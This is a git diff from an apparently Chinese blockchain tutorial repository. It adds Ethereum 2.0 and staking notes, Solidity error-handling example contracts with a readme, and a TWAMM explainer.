+  后才能操作。The Merge 时 Shanghai Upgrade 还没完成，所以 The Merge 后
+  不能马上取消质押。
+
+- 验证者不能收到出块奖励直到 Shanghai Upgrade：错。只要出块，就能得到出块奖励。
+
+- 如果可以取消质押，所以的质押者（验证者）会同时取消质押：错。每个 epoch（6.4 mins）
+  内最多允许 6 个质押者退出，如果退出者过多，会动态调节每个 epoch 的最大退出数，同时
+  还在质押的人的 APR 提高，以吸引更多的人进行质押。
+
+## Sharding
+
+Sharding，称为分片，即在水平方向拆分数据库，分散数据库的负载，以达到扩容的目的。
+Ethereum 2.0 的 sharding 和 Layer 2 一起来分摊负载，这样就可以减少网络拥堵，
+提高 Ethereum 的 TPS。
+
+Sharding 的特性可以让运行 Ethereum 节点的门槛降低，让更多的人运行节点，构建
+更稳定的共识网络。
+
+Sharding 的实现分两步：
+
+1. Data availability
+2. Code execution
+
+Data availability 是在提高 TPS 的同时，保证之前的数据（即 state）是可用的；
+Code execution 是在 state 都可用的情况下执行执行智能合约（Smart Contract），
+这一步需要引入 zk-snarks（零知识证明）。
+
+## Conclusion
+
+总的来说，这次 Ethereum 的 Merge 并没有完全的升级为 Ethereum 2.0，最多
+算是 Ethereum 1.5，毕竟目前 Ethereum 或者说整个区块链都在突破“不可能三角”[^impossible-triangle]，
+其中已经有其他的公链走在 Ethereum 前面。但是只能说 Ethereum 在前期积累了
+较多的 dapp 和 用户，形成了聚集效应，但是 Ethereum 能否赶在其他新的公链
+之前突破这个三角，这个没人能预测。从这次 Merge 来看，我们能知道的是 ETH 的
+供应有通缩的趋势，同时 PoW 转为 PoS 变成了有钱的更有钱，没钱的会更没钱，会逐渐
+形成两极分化。而且因为 PoS，运行节点的矿工会减少，虽然有机制来保证质押者不会
+一次性大量撤出，但是没有质押的人不太会去维护一个节点。
+
+Anyway，去中心化是一种趋势，最终谁能胜出，让我们拭目以待吧。
+
+[^impossible-triangle]:区块链不可能三角指的是目前区块链不能同时实现去中心化、可拓展性和安全性。
+
+(reference)=
+## Reference
+
+1. The Beacon Chain. https://ethereum.org/en/upgrades/beacon-chain/
+2. The Merge. https://ethereum.org/en/upgrades/merge/
+3. How The Merge impacts ETH supply. https://ethereum.org/en/upgrades/merge/issuance/
+4. Tim Beiko. 2021. How The Merge Impacts Ethereum's Application Layer. https://blog.ethereum.org/2021/11/29/how-the-merge-impacts-app-layer
+5. Tim Beiko. 2022. Shanghai Planning. https://github.com/ethereum/pm/issues/450
+6. Wackerow. 2022. SPIN UP YOUR OWN ETHERUM NODE. https://ethereum.org/en/developers/docs/nodes-and-clients/run-a-node/
+7. Ethereum 2.0 Knowledge Base. https://kb.beaconcha.in/glossary
+8. EIP4844： https://bicoin8.com/152740.html
+9. 一文了解以太坊的“扩容杀手锏”danksharding: https://www.defidaonews.com/article/6727438
+10. V神科普的“Danksharding”到底是什么: https://mp.weixin.qq.com/s/6SaXnZtSHN-pb7rvCm7B9g
+11. 認識 Danksharding -以太未來擴容的新方案： https://medium.com/taipei-ethereum-meetup/%E7%9E%AD%E8%A7%A3%E7%A5%9E%E7%A7%98%E7%9A%84-zk-starks-ee56a697af76
+12. beaconcha. https://prater.beaconcha.in/block/3641948
+
+## Appendix
+
+### Appendix A. Shanghai Upgrade
+
+Shanghai Upgrade 需要实现以下的 EIP：
+
+- EIP-1153: Transient storage opcodes
+- EIP-2537: Precompile for BLS12-381 curve operations
+- EIP-2935: Save historical block hashes in state
+- EIP-3651: Warm COINBASE
+- EIP-3540: EVM Object Format (EOF) v1 + EIP-3670, EIP-3690, EIP-4200
+- EIP-3855: PUSH0 instruction
+- EIP-3860: Limit and meter initcode
+- EIP-4396: Time-Aware Base Fee Calculation
+- EIP-4444: Bound Historical Data in Execution Clients
+- EIP-4488: Transaction calldata gas cost reduction with total calldata limit
+- Statelessness gas cost changes (Verkle Tree HF1) and the groundwork necessary for it (unhashed state + sync)
+
+### Appendix B. EIP-4844
+
+Proto-danksharding（又名 EIP-4844）是一个以太坊改进提议（EIP）.
+EIP-4844 提案是在以太坊 2.0 更新完成之前作为临时解决方案。该提案解释了一种新方法来帮助划分交易中所需的信息，例如验证规则和交易格式，而无需实际实施任何分片.
+EIP-4844 包括以下内容：
+
+- 一种新的交易类型，是“全分片”所需要的
+- 全分片所需的所有执行层逻辑
+- 全分片所需的所有执行/共识交叉验证逻辑
+- 信标块验证和数据可用性采样 blob 之间的层分离
+- 完全分片需要信标块逻辑。
+- blob 的自我调整和独立的 gas 价格。
+
+EIP-4844 最重要的特性是 blob，它是一种新型事务。blob 类似于常规事务，但它只携带一个额外的数据——称为 blob。数据片段或 blob 是大型数据包（大约 125 KB），但执行此类事务会比执行具有相同数据的 calldata 更便宜。但是，存储在 blob 中的数据无法被 EVM 访问，它只能看到它，而不能验证它。
+
+这些 blob 可以由验证者和用户下载。proto-danksharding 中插槽的数据带宽限制为 1 MB（而不是 16 MB）。数据传输方式的这种变化产生了巨大的影响，解决了我们在以太坊方面都非常熟悉的可扩展性问题。通过采用 EIP-4844 提案，来自 blob 的这些数据不是普通以太坊交易的 gas 使用量。
+
+为了向前兼容，EIP-4844 还引入了对块中包含的最大 blob 数量的限制。这些存储在共识层（信标节点）上，而不是执行层。它们只需要来自 EVM 的确认。
+
+Danksharding会把以太坊转变为一个统一的结算和数据可用性（DA）层。将结算和数据可用性抽样（data availability sampling）统一起来。
+
+**PBS**
+提议者-构建者（数据生成者）分离 (PBS:proposer/builder separation PBS)
+Builders（数据生成者）是一种新角色，它会聚合所有以太坊L1交易以及来自rollup的原始数据。使用crList，区块提议者可以强制Builders包含交易。
+
+MEV
+https://mevboost.pics/
+
+
+**纠删码(Erasure coding)**
+
+**DA证明数据层**
+
+**RANDO**
+主要为信标链提供随机性
+随机性是通过使用 RANDAO 算法实现的，该算法将区块提议者的哈希与每个区块更新的种子混合。这个值用于从总验证者集合中选择特定的验证者。验证者的选择在两个纪元前就固定下来，以此作为防止某些种子操纵的方式。
+https://github.com/randao/randao
+
+**Celestia**
+模块化区块链分成三部分：执行、安全性以及数据可用性。
+
+**BLS**
+Justin Drake 关于 BLS 实用签名聚合的研究：https://ethresear.ch/t/pragmatic-signature-aggregation-with-bls/2105
+
+**verkel**
+https://notes.ethereum.org/@domothy/verkle_links
+https://www.youtube.com/watch?v=Q7rStTKwuYs 
+https://www.youtube.com/watch?v=F1Ne19Vew6w
+
+**KZG承诺**
+https://hackmd.io/yqfI6OPlRZizv9yPaD-8IQ
+https://scroll.io/blog/kzg
+
+
+### Appendix C. EIP-4488
+
+EIP-4488降低calldata费用。
+
+## lido
+https://cnlido.notion.site/cnlido/Lido-d62ed54902d74f48b6ac139112d8bf89 
+
+## 参考链接：
+- Data Availability Sampling: From Basics to Open Problems: https://www.paradigm.xyz/2022/08/das
+- Teku: https://www.youtube.com/watch?v=1PHZHpVPLk4
+- eth2book: https://eth2book.info/
+- 以太坊技术实现： https://learnblockchain.cn/books/geth/part3/sign-and-valid.html
\ No newline at end of file
diff --git a/basic/45-Ethereum-2.0/stake.md b/basic/45-Ethereum-2.0/stake.md
new file mode 100644
index 000000000..5c16d8b67
--- /dev/null
+++ b/basic/45-Ethereum-2.0/stake.md
@@ -0,0 +1,32 @@
+# POS & Stake 
+
+
+## lido
+https://cnlido.notion.site/cnlido/Lido-d62ed54902d74f48b6ac139112d8bf89 
+
+## SSV 
+
+Participants
+1. Operators
+代表staker运营和维护运行以太坊validator的SSV节点，为他们产生ETH奖励。作为服务的回报，Operators从stakers那里获得SSV代币
+2. Stakers
+将32个ETH质押于信标链上，并拥有一个validator，通过验证和提出新区块来保护网络。Stakers以SSV代币向运营商支付费用，并因签署数据交易而获得ETH奖励。
+3. Liquidators
+当staker没有足够的余额支付给运营商时，通过向stakers发出信号，来保持网络的偿付能力。清算人因成功清算而获得SSV代币的补偿。
+
+## verkel
+https://verkle.info/  
+https://www.youtube.com/watch?v=jqVaycBINdc 
+
+
+
+## 参考链接
+- 了解合并后奖励： https://www.attestant.io/posts/understanding-post-merge-rewards/
+- 了解提款： https://www.attestant.io/posts/understanding-withdrawals/
+- Ethereum 2.0 – Here’s what you NEED to know： https://boxmining.com/ethereum-2/
+- 一文了解 4 种 Staking 方案之间的关系和异同: https://m.techflowpost.com/article/2046
+- Eth2 to Eth1 Validator’s withdrawal design [WIP]： https://hackmd.io/@zilm/withdrawal-spec
+- withdraw research:https://ethresear.ch/t/simple-eth1-withdrawals-beacon-chain-centric/8256
+
+
+
diff --git a/basic/46-error-handling/examples/.gitignore b/basic/46-error-handling/examples/.gitignore
new file mode 100644
index 000000000..00dad7734
--- /dev/null
+++ b/basic/46-error-handling/examples/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+
+# Hardhat files
+cache
+artifacts
+
diff --git a/basic/46-error-handling/examples/contracts/catch/CatchByTryCatch.sol b/basic/46-error-handling/examples/contracts/catch/CatchByTryCatch.sol
new file mode 100644
index 000000000..87285663f
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/catch/CatchByTryCatch.sol
@@ -0,0 +1,50 @@
+pragma solidity ^0.8.17;
+
+contract CatchByTryCatch {
+
+    //This method can catch any kind of exceptions!
+    function tryCatch() external{
+        try CatchByTryCatch(address(this)).whatever() {
+            //If this block throws, it would not be caught. 
+        }
+        catch(bytes memory exceptionData) {
+            //You can decode exceptionData like abi.decode(errorData, (string))
+        }
+    }
+
+    //Specially, for error  with string
+    function catchErrorWithString() external{
+        try CatchByTryCatch(address(this)).whatever() {
+
+        }
+        catch Error(string memory reason){
+            //Only for error with string. If called "revert()" it would not hit this code
+        }
+        catch(bytes memory exceptionData) {
+            //Other exceptions
+        }
+    }
+
+    //You may think the following code would work but indeed it doesn't
+    function catchPanic() external{
+        try CatchByTryCatch(address(this)).whatever() {
+
+        }
+        catch Panic(uint256 code){
+
+        }
+        catch(bytes memory exceptionData) {
+            //Other exceptions
+        }
+    }
+    
+    //-----ignore these parts
+    function whatever() public{
+        //Throw Error With String
+        revert("bad call");
+        //Or Throw Error Without String like revert()
+        //Or Throw Custom Error like revert CustomError(xxx,xxx..)
+        //Or Panic like assert(condition)
+    }
+}
+
diff --git a/basic/46-error-handling/examples/contracts/catch/CatchCall.sol b/basic/46-error-handling/examples/contracts/catch/CatchCall.sol
new file mode 100644
index 000000000..8c9a4f726
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/catch/CatchCall.sol
@@ -0,0 +1,28 @@
+pragma solidity ^0.8.17;
+
+contract CatchCall {
+
+    //This method can catch any kind of exceptions!
+    function catchCall() external{
+        (bool success, bytes memory returnData) = address(this).call(abi.encodeWithSignature("whatever()"));
+        if (!success){
+            //returnData now is error. handle it!
+            //...
+        }
+    }
+
+    //You may think the following code would work but indeed it doesn't
+    function catchPanic() external{
+
+    }
+    
+    //-----ignore these parts
+    function whatever() public{
+        //Throw Error With String
+        revert("bad call");
+        //Or Throw Error Without String like revert()
+        //Or Throw Custom Error like revert CustomError(xxx,xxx..)
+        //Or Panic like assert(condition)
+    }
+}
+
diff --git a/basic/46-error-handling/examples/contracts/parse/ParseException.sol b/basic/46-error-handling/examples/contracts/parse/ParseException.sol
new file mode 100644
index 000000000..d9f280730
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/parse/ParseException.sol
@@ -0,0 +1,39 @@
+pragma solidity ^0.8.17;
+
+import "solidity-bytes-utils/contracts/BytesLib.sol";
+
+contract ParseException {
+
+    //This method can catch any kind of exceptions!
+    function tryCatch() external{
+        try ParseException(address(this)).whatever() {
+        }
+        catch(bytes memory exceptionData) {
+            if (exceptionData.length == 0){
+                //..
+            } else{
+                bytes4 exceptionSelector = bytes4(exceptionData);
+                bytes memory payload = BytesLib.slice(exceptionData, 4, exceptionData.length-4);
+
+                if (exceptionSelector == bytes4(keccak256("Error(string)"))){
+                    string memory reason = abi.decode(payload, (string));
+                    //reason is "bad call"
+                    //..
+                }
+                if (exceptionSelector == bytes4(keccak256("CustomError(uint256,address,string)"))){
+                    (uint256 code, address caller, string memory reason) = abi.decode(payload, (uint256, address, string));
+                }
+                if (exceptionSelector == bytes4(keccak256("Panic(uint256)"))){
+                    uint256 code = abi.decode(payload, (uint256));
+                }
+            }
+        }
+    }
+
+    //-----ignore these parts
+    function whatever() public{
+        //You can also try other types of exception
+        revert("bad call");
+    }
+}
+
diff --git a/basic/46-error-handling/examples/contracts/throws/ThrowCustomErrorDemo.sol b/basic/46-error-handling/examples/contracts/throws/ThrowCustomErrorDemo.sol
new file mode 100644
index 000000000..bd17cc14d
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/throws/ThrowCustomErrorDemo.sol
@@ -0,0 +1,11 @@
+pragma solidity ^0.8.17;
+
+contract ThrowCustomDemo {
+    error CustomError(uint256 code, address caller, string description);
+
+    function throwCustomError() external view{
+        if (msg.sender != address(0xdeadbeaf)){
+            revert CustomError(0xbb, msg.sender, "Invalid caller");
+        }
+    }
+}
diff --git a/basic/46-error-handling/examples/contracts/throws/ThrowErrorDemo.sol b/basic/46-error-handling/examples/contracts/throws/ThrowErrorDemo.sol
new file mode 100644
index 000000000..8ef11cbfc
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/throws/ThrowErrorDemo.sol
@@ -0,0 +1,29 @@
+pragma solidity ^0.8.17;
+
+contract ThrowErrorDemo {
+
+    function throwByRequireSilencely() external view{
+        require(msg.sender == address(0xdeadbeaf));    
+    }
+
+    function throwByRevertSilencely() external view{
+        if (msg.sender != address(0xdeadbeaf)){
+            revert();
+        }
+    }
+
+    function throwByInsufficientFund() external{
+        payable(address(0xdeadbeaf)).transfer(1000);
+    }
+
+    function throwByInsufficientGas() external{
+        this.whatever{gas: 1}();
+    }
+
+
+    //-----ignore these parts
+    function whatever() public{
+
+    }
+}
+
diff --git a/basic/46-error-handling/examples/contracts/throws/ThrowErrorStringDemo.sol b/basic/46-error-handling/examples/contracts/throws/ThrowErrorStringDemo.sol
new file mode 100644
index 000000000..956501de6
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/throws/ThrowErrorStringDemo.sol
@@ -0,0 +1,16 @@
+pragma solidity ^0.8.17;
+
+contract ThrowErrorStringDemo {
+
+    function requireWithReason() external view{
+        require(msg.sender == address(0xdeadbeaf), "Invalid caller");    
+    }
+
+
+    function revertWithReason(uint256 input) external view{
+        if (msg.sender != address(0xdeadbeaf)){
+            revert("Invalid caller");
+        }
+    }
+
+}
diff --git a/basic/46-error-handling/examples/contracts/throws/ThrowPanicDemo.sol b/basic/46-error-handling/examples/contracts/throws/ThrowPanicDemo.sol
new file mode 100644
index 000000000..05d0ceafc
--- /dev/null
+++ b/basic/46-error-handling/examples/contracts/throws/ThrowPanicDemo.sol
@@ -0,0 +1,20 @@
+pragma solidity ^0.8.17;
+
+contract ThrowPanicDemo {
+
+    function panicByCondition() external view {
+        assert (msg.sender == address(0xdeadbeaf));
+    }
+
+    function panicByOverflow() external pure{
+        uint256 result = type(uint8).max + 1;
+        //NOTE: these two operands add together, and then convert to uint256.
+        //however, since it overflows before it's converted to uint256, it panics.
+    }
+
+    function panicByDivideByZero() external pure{
+        uint256 a = 1;
+        uint256 b = 0;
+        uint256 result = a/b;
+    }
+}
diff --git a/basic/46-error-handling/examples/hardhat.config.js b/basic/46-error-handling/examples/hardhat.config.js
new file mode 100644
index 000000000..86913e705
--- /dev/null
+++ b/basic/46-error-handling/examples/hardhat.config.js
@@ -0,0 +1,6 @@
+require("@nomicfoundation/hardhat-toolbox");
+
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: "0.8.17",
+};
diff --git a/basic/46-error-handling/examples/package.json b/basic/46-error-handling/examples/package.json
new file mode 100644
index 000000000..d3f4f78fe
--- /dev/null
+++ b/basic/46-error-handling/examples/package.json
@@ -0,0 +1,26 @@
+{
+  "name": "examples",
+  "version": "1.0.0",
+  "main": "index.js",
+  "license": "MIT",
+  "dependencies": {
+    "hardhat": "^2.13.0",
+    "solidity-bytes-utils": "0.8.0"
+  },
+  "devDependencies": {
+    "@ethersproject/abi": "^5.4.7",
+    "@ethersproject/providers": "^5.4.7",
+    "@nomicfoundation/hardhat-chai-matchers": "^1.0.0",
+    "@nomicfoundation/hardhat-network-helpers": "^1.0.0",
+    "@nomicfoundation/hardhat-toolbox": "^2.0.0",
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-etherscan": "^3.0.0",
+    "@typechain/ethers-v5": "^10.1.0",
+    "@typechain/hardhat": "^6.1.2",
+    "chai": "^4.2.0",
+    "ethers": "^5.4.7",
+    "hardhat-gas-reporter": "^1.0.8",
+    "solidity-coverage": "^0.8.0",
+    "typechain": "^8.1.0"
+  }
+}
diff --git a/basic/46-error-handling/readme.md b/basic/46-error-handling/readme.md
new file mode 100644
index 000000000..6cea60734
--- /dev/null
+++ b/basic/46-error-handling/readme.md
@@ -0,0 +1,186 @@
+# 说明
+以目前0.8.17版本为例，介绍异常处理。
+
+# 错误类型
+异常分为错误和Panic，前者表达条件不符，后者表达程序错误。
+
+- Error：通常指运行时条件不满足。发生后，会回退状态，和未使用的gas。它可以拆为：
+    - Error(无信息)：不包含错误信息的错误，例如revert(), require(condition), eth不足，gas不足等。由于于没有错误信息，发生后很难去定位出原因。
+    - Error(String)：包含错误信息的错误，例如revert("invalid condition"), require(condition, "invalid condition")等
+    - CustomError：包含自定义错误信息，例如revert CustomError(xxx,xxx)..
+- Panic：不该出现的错误，更多的和程序逻辑本身相关。发生后，仅回退状态，不回退未使用的gas。
+
+
+
+# 抛出错误
+
+| 抛错方法           | 异常类型                    | 编码方式               | EVM逻辑                                                     |
+| ------------------ | --------------------------- | --------------------------- | ------------------------------------------------------------ |
+| require(condition) | Error(无信息)                       | 0x                          | 回退状态，回退剩余gas                                       |
+| require(condition, reason) | Error(String)        | 异常选择器+报错字符串 | 回退状态，回退剩余gas                                       |
+| revert()           | Error(无信息)                   | 0x                          | 回退状态，回退剩余gas                                       |
+| revert(reason)     | Error(String)               | 异常选择器+报错字符串        | 回退状态，回退剩余gas                                       |
+| 转账无余额         | Error(无信息)                       | 0x                          | 回退状态，回退剩余gas                                       |
+| gas不足             | Error(无信息)                       | 0x                          | 回退状态，回退剩余gas                                       |
+| revert 自定义错误  | 自定义，如CustomError(uint256 a, uint256 b) | 异常选择器+自定义错误数据 | 回退状态，回退剩余gas                                       |
+| assert(condition)  | Panic(uint256)              | 异常选择器+错误码0x01       | 回退状态                                                     |
+| 算术溢出           | Panic(uint256)              | 异常选择器+错误码0x11       | 回退状态                                                     |
+| 除零               | Panic(uint256)              | 异常选择器+错误数据0x12     | 回退状态                                                     |
+| 数组越界           | Panic(uint256)              | 异常选择器+错误数据0x32     | 回退状态                                                     |
+| ...                | ...                         | ...                         | ...                                                          |
+
+更多panic对应的错误码，可以参阅[这里](https://docs.soliditylang.org/en/v0.8.0/control-structures.html#panic-via-assert-and-error-via-require)。
+
+## 异常编码
+Error(无信息)，为空字符串。
+
+Error(String), 自定义错误，Panic(uint256),这三类异常都按照“异常选择器 + 异常数据”的格式来编码。
+
+例如，revert("Invalid input")的编码数据为：
+
+```
+0x08c379a
+00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000d496e76616c696420696e70757400000000000000000000000000000000000000
+
+```
+
+### 异常选择器
+- Error(string): bytes4(keccak256("Error(string)"))
+- 自定义错误，CustomError(uint256 code, address caller): bytes4(keccak256("CustomError(uint256,address)"))
+- Panic(uint256): bytes4(keccak256("Panic(uint256)"))
+
+### 异常数据
+异常数据跟在异常选择器后面。对于异常数据，可以通过abi.decode解析出强类型的数据。例如对于一个Error(String)，可以这么解析：
+```
+bytes memory exceptionData = ...;
+
+string memory reason = abi.decode(exceptionData, (string));
+
+```
+
+# 捕获异常
+## try-catch方式
+下面的方式可捕获上述4种错误：
+```
+contract CatchByTryCatch{
+
+
+    function tryCatch() external{
+        try CatchByTryCatch(address(this)).whatever() {
+            //If this block throws, it would not be caught. 
+        }
+        catch(bytes memory exceptionData) {
+            
+        }
+    }
+    
+    function whatever() public{
+        //Throw Error With String
+        revert("bad call");
+        //Or Throw Error Without String like revert()
+        //Or Throw Custom Error like revert CustomError(xxx,xxx..)
+        //Or Panic like assert(condition)
+    }
+}
+```
+注意：
+- try后面括号{}包起来的部分不在捕获范围，它用于表示调用成功后的处理逻辑，这块抛出的异常不会被处理。try-catch仅针对try后面的那个调用。
+- catch捕获的是异常的编码数据，即前文介绍的编码后的错误。
+
+### 捕获特定异常
+可以选择捕获部分特定异常，但这个功能不完善。
+
+#### 捕获Error(无信息)
+不行
+### 捕获Error(string)
+需要在catch后面跟错误签名：
+```
+try ... {
+
+}
+catch Error(string memory reason){
+    //Only catches Error(string)
+}
+catch (bytes memory otherException){
+    //Exceptions other than Error(string)
+}
+```
+
+### 捕获Panic(uint256)
+需要在catch后面跟Panic签名：
+```
+try ... {
+
+}
+catch Panic(uint256 code){
+    //Only catches Panic
+}
+catch (bytes memory otherException){
+    //Exceptions other than Panic
+}
+```
+
+#### 捕获自定义错误
+既然Error(string), Panic(uint256)可以被捕获，是否也可以写成下面这样？不行，至少目前0.8.17不行, 编译不通过，这个问题还在[讨论中](https://github.com/ethereum/solidity/issues/13869):
+
+```
+       try ...{
+
+        }
+        catch CustomError(uint256 code, address caller, string memory reason){
+            //编译过不了！
+        }
+        catch (bytes memory otherException){
+
+        }
+```
+
+## 通过call/staticcall获取结果
+
+对于call，staticcall这样的调用，它们有异常也不会报错，但可以通过返回值获取错误：
+```
+    function catchCall() external{
+        (bool success, bytes memory returnData) = address(this).call(abi.encodeWithSignature("whatever()"));
+        if (!success){
+            //returnData now is error. handle it!
+            //...
+        }
+    }
+
+```
+# 解析错误
+前文提到，不同的错误，有不同的编码方式，例如最普通的Error是不会编码的。因此，可以遵循三部曲：
+- 判断它的长度
+- 提取异常选择器和异常数据
+- 根据异常选择器，对异常数据进行解码
+```
+    function tryCatch() external{
+        try ... {
+        }
+        catch(bytes memory exceptionData) {
+            if (exceptionData.length == 0){
+                //..
+            } else{
+                bytes4 exceptionSelector = bytes4(exceptionData);
+                bytes memory payload = BytesLib.slice(exceptionData, 4, exceptionData.length-4);
+
+                if (exceptionSelector == bytes4(keccak256("Error(string)"))){
+                    string memory reason = abi.decode(payload, (string));
+                    //reason is "bad call"
+                    //..
+                }
+                if (exceptionSelector == bytes4(keccak256("CustomError(uint256,address,string)"))){
+                    (uint256 code, address caller, string memory reason) = abi.decode(payload, (uint256, address, string));
+                }
+                if (exceptionSelector == bytes4(keccak256("Panic(uint256)"))){
+                    uint256 code = abi.decode(payload, (uint256));
+                }
+            }
+        }
+    }
+
+```
+
+为了便于截取bytes，可以用这个库：https://github.com/GNSPS/solidity-bytes-utils
+# 参考
+https://docs.soliditylang.org/en/v0.8.0/control-structures.html#panic-via-assert-and-error-via-require
\ No newline at end of file
diff --git a/basic/47-twamm/MEV redistribution scheme that automatically reinvests rewards as liquidity.png b/basic/47-twamm/MEV redistribution scheme that automatically reinvests rewards as liquidity.png
new file mode 100644
index 000000000..6880c7837
Binary files /dev/null and b/basic/47-twamm/MEV redistribution scheme that automatically reinvests rewards as liquidity.png differ
diff --git a/basic/47-twamm/Order flow on a Fraxswap pair with a TWAMM order active.avif b/basic/47-twamm/Order flow on a Fraxswap pair with a TWAMM order active.avif
new file mode 100644
index 000000000..7da4a32e3
Binary files /dev/null and b/basic/47-twamm/Order flow on a Fraxswap pair with a TWAMM order active.avif differ
diff --git a/basic/47-twamm/readme.md b/basic/47-twamm/readme.md
new file mode 100644
index 000000000..86f6247b6
--- /dev/null
+++ b/basic/47-twamm/readme.md
@@ -0,0 +1,161 @@
+## TWAMM介绍
+
+TWAMM（Time-Weighted Average Market Maker）源于paradiam的论文： https://www.paradigm.xyz/2021/07/twamm. 是一种新兴的去中心化交易机制，旨在解决传统市场中流动性不足和价格波动带来的问题。TWAMM主要应用于去中心化金融（DeFi）领域，作为一种创新的做市策略，能够在保持市场公平性的同时，提供更好的流动性和价格发现机制。
+
+1. 背景与发展
+
+随着区块链技术的迅速发展，去中心化交易所（DEX）逐渐成为加密货币交易的重要场所。尽管DEX提供了更高的透明度和用户控制权，但它们也面临流动性不足和价格波动大的挑战。这些问题使得用户在交易时常常面临较高的滑点和不理想的交易体验。TWAMM的出现正是为了应对这些挑战，通过创新的算法和机制来优化交易过程。
+
+
+2. 工作原理
+
+TWAMM的核心在于“时间加权”的概念。传统的做市机制往往是基于当前市场价格进行交易，这意味着大额交易会对市场价格产生显著影响。而TWAMM通过分批执行交易，将大额订单拆分为多个小额订单，在预定的时间内逐步完成交易，从而降低对市场价格的冲击。
+
+具体而言，TWAMM会根据用户的订单类型和市场状态，计算出一个最佳的时间窗口，在这个窗口内逐步执行订单。通过这种方式，TWAMM能够有效地抑制价格波动，使得市场价格更加稳定。此外，TWAMM还可以利用时间加权的方式，对订单进行定价，确保交易的公平性。
+
+
+3. 机制特点
+
+3.1订单拆分的无限粒度与时间加权执行
+TWAMM的核心机制是将大额订单分解为无限多个无限小的虚拟订单，并在指定时间段内按均匀速率执行。这种设计借鉴了传统金融中的TWAP（时间加权平均价格）算法，但通过链上数学模型的创新，实现了无需手动拆分订单的自动化操作216。例如，若用户需购买价值1亿USDC的ETH，TWAMM会将其拆分为无数个微小交易，每个区块仅执行极小部分，从而避免单次大额交易对市场价格造成的冲击1114。这种拆分方式不仅降低了单次交易的价格影响，还减少了用户的操作复杂性。
+
+3.2 缓解滑点与价格冲击
+在传统AMM（如Uniswap v2/v3）中，大额交易会因流动性池的恒定乘积公式（x*y=k）导致显著的滑点。例如，若用户一次性购买大量ETH，AMM的储备资产比例失衡会拉高成交价格，用户需支付更高的平均成本216。TWAMM通过时间分散执行，使每个虚拟订单对市场的影响微乎其微，最终成交价格更接近时间加权平均价（TWAP），显著降低了滑点。根据Paradigm研究团队的模拟，TWAMM的长期订单执行价格可比传统AMM优化20%-50%1416。
+
+3.3 抗MEV攻击能力
+MEV攻击（如三明治攻击）是DeFi领域的常见问题，攻击者通过提前交易（Front-running）和滞后交易（Back-running）套利。TWAMM通过区块间执行虚拟订单的特性，减少了交易被夹击的风险。由于TWAMM的订单在区块之间连续执行，而非一次性上链，攻击者难以预测和插入恶意交易21114。此外，嵌入式AMM的套利机制会实时调整价格，进一步削弱攻击者的利润空间16。
+
+3.4 Gas成本优化
+传统手动拆分订单需多次提交交易，导致Gas费用累积。例如，将一笔订单拆分为100个子订单，用户需支付100次Gas费。而TWAMM通过延迟计算（Lazy Evaluation）和数学封闭式解算，仅在最终结算时计算累积影响，从而将Gas成本分摊到整个执行周期。这种设计使得用户只需支付少数几次链上交互的费用，显著降低了高频拆分的成本216。
+
+3.5 嵌入式AMM与动态套利机制
+TWAMM内部嵌入了标准恒定乘积AMM（如Uniswap的x*y=k模型），用于处理虚拟订单的执行。长期订单的持续交易会暂时改变嵌入式AMM的价格，但套利者会通过与其他交易所（如CEX或其他DEX）的价差进行套利，使嵌入式AMM的价格回归市场平均水平216。例如，若TWAMM的ETH价格低于外部市场，套利者会买入ETH并卖出获利，最终使TWAMM的价格与市场同步。这种机制确保了订单执行的公平性，同时维护了整体市场的流动性。
+
+3.6 与传统金融工具的深度映射
+TWAMM的设计灵感来源于传统金融的TWAP算法，但其实现方式更具区块链特性。在传统市场中，经纪商通过算法拆分大额订单以避免市场波动，而TWAMM通过智能合约自动化实现类似功能，且无需依赖中心化中介1116。此外，TWAMM还解决了链上操作的两大痛点：操作风险（如手动拆单错误）和隐私泄露（如多次交易暴露用户意图），进一步提升了链上大额交易的可行性
+
+
+4. 应用场景
+
+TWAMM的应用场景非常广泛，尤其是在需要高流动性和价格稳定性的市场中。以下是一些具体的应用例子：
+
+大宗商品交易：在大宗商品市场中，TWAMM可以帮助交易者在不影响市场价格的情况下完成大额交易。
+去中心化交易所：作为DEX的一种创新机制，TWAMM能够提高其流动性和用户体验，吸引更多的交易者参与。
+流动性挖掘：TWAMM的机制可以与流动性挖掘相结合，鼓励用户提供流动性，从而进一步提升市场的活跃度。
+
+
+5. 未来展望
+
+TWAMM作为一种新兴的交易机制，展现出了极大的潜力。随着DeFi生态系统的不断发展，引入更多的创新机制将是必然趋势。TWAMM不仅能够优化交易体验，还可能推动去中心化金融的进一步普及与发展。
+
+TWAMM通过技术创新，在订单拆分、滑点控制、抗攻击、成本优化等方面展现出显著优势，尤其适用于机构投资者和长期策略交易者。其设计不仅扩展了AMM的功能边界，还为DeFi与传统金融的融合提供了新范式。未来，随着Uniswap v4的落地和TWAMM的广泛应用，其在跨链交易、衍生品市场及流动性管理中的潜力将进一步释放114。然而，其安全性（如虚拟订单的数学漏洞）和复杂套利场景下的稳定性仍需在实践中验证。
+
+
+
+## 操作流程
+
+1. 提交长期订单
+用户或交易者向TWAMM提交长期订单，需设定两个关键参数：
+
+-订单规模：需要交易的资产总量（例如，卖出100 ETH或买入1亿USDC）
+-执行期限：订单执行的持续时间（例如，2000个区块，约数小时或数天）
+
+提交后，订单将被存储于TWAMM的智能合约中，并通过时间加权算法进行拆分。
+
+
+2. 订单分解为无限小虚拟订单
+
+TWAMM通过数学算法将长期订单分解为"无限多个无限小的虚拟订单"，这些订单按时间均匀分布在整个执行期限内。例如，一个持续2000区块的订单，每个区块会被分解为极小的交易量，确保执行过程平滑且对市场价格影响最小。
+
+
+3. 逐区块执行虚拟订单
+
+在每个新区块生成时，TWAMM自动执行当前区块对应的虚拟订单：
+
+- 执行顺序优先：TWAMM订单在每个区块中优先于普通交易执行，避免被夹心攻击（Sandwich Attack）等MEV（矿工可提取价值）策略干扰。
+
